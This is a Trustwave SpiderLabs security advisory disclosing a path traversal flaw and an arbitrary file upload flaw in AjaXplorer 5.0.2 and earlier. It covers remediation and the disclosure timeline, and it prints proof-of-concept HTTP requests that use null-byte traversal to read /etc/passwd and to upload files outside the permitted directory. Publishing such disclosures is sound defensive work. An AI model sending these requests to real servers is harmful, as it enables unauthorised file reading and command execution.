Trustwave SpiderLabs Security Advisory TWSL2013-027:
Multiple Vulnerabilities in AjaXplorer

Published: 09/05/13
Version: 1.0

Vendor: AjaXplorer (http://ajaxplorer.info)
Product: AjaXplorer
Version affected: 5.0.2 and prior

Product description:
AjaXplorer is an open source file sharing platform which relies on PHP and
the web interface can run on various web server software, such as Apache
and Nginx.


Finding 1: Path Traversal
*****Credit: Vikas Singhal of Trustwave SpiderLabs
CVE: CVE-2013-5688
CWE: CWE-22

A path traversal vulnerability was found in the "edit" functionality of the application.
This vulnerability may allow an attacker to view files outside the website's root directory.

The following Proof of Concept (PoC) HTTP request illustrates the same.


#Request
1. GET /filemanagers/ajaxplorer/index.php?secure_token=[latest token]&get_action=download&dir=%2F&file=/%00../%00../%00../%00../%00../%00../%00../%00../%00../%00../etc/passwd HTTP/1.1

#Request
2. GET /filemanagers/ajaxplorer/index.php?secure_token=[latest token]&get_action=get_content&file=/%00../%00../%00../%00../%00../%00../%00../%00../%00../%00../etc/passwd HTTP/1.1

Finding 2: Arbitrary File Upload
*****Credit: Vikas Singhal of Trustwave SpiderLabs
CVE: CVE-2013-5689
CWE: CWE-434

Using the application's upload functionality it was possible to upload
arbitrary file outside the default directory and execute it. This may allow
an attacker to execute arbitrary commands on the web server.

Vulnerable HTTP request:

#Request
1. POST /filemanagers/ajaxplorer/index.php?secure_token=[latest token]&get_action=upload&xhr_uploader=true&dir=/%00../%00../data/ HTTP/1.1

Remediation Steps:
The vendor has released a fix to address these vulnerabilities.
Administrators should upgrade to AjaXplorer Core 5.0.3 or later.
Alternatively, administers can mitigate these vulnerabilities by applying
Web Application Firewall (WAF) rules.  ModSecurity
(http://www.modsecurity.org/) has added rules to the commercial rules feed
for these issues, and WebDefend has protections as well.


Vendor Communication Timeline:
8/29/13 - Vulnerability disclosed
9/03/13 - Patch released by vendor
9/05/13 - Advisory published

References
1. http://ajaxplorer.info/ajaxplorer-core-5-0-3/

About Trustwave:
Trustwave is the leading provider of on-demand and subscription-based
information security and payment card industry compliance management
solutions to businesses and government entities throughout the world. For
organizations faced with today's challenging data security and compliance
environment, Trustwave provides a unique approach with comprehensive
solutions that include its flagship TrustKeeper compliance management
software and other proprietary security solutions. Trustwave has helped
thousands of organizations--ranging from Fortune 500 businesses and large
financial institutions to small and medium-sized retailers--manage
compliance and secure their network infrastructure, data communications and
critical information assets. Trustwave is headquartered in Chicago with
offices throughout North America, South America, Europe, Africa, China and
Australia. For more information, visit https://www.trustwave.com

About Trustwave SpiderLabs:
SpiderLabs(R) is the advanced security team at Trustwave focused on
application security, incident response, penetration testing, physical
security and security research. The team has performed over a thousand
incident investigations, thousands of penetration tests and hundreds of
application security tests globally. In addition, the SpiderLabs Research
team provides intelligence through bleeding-edge research and proof of
concept tool development to enhance Trustwave's products and services.
https://www.trustwave.com/spiderlabs

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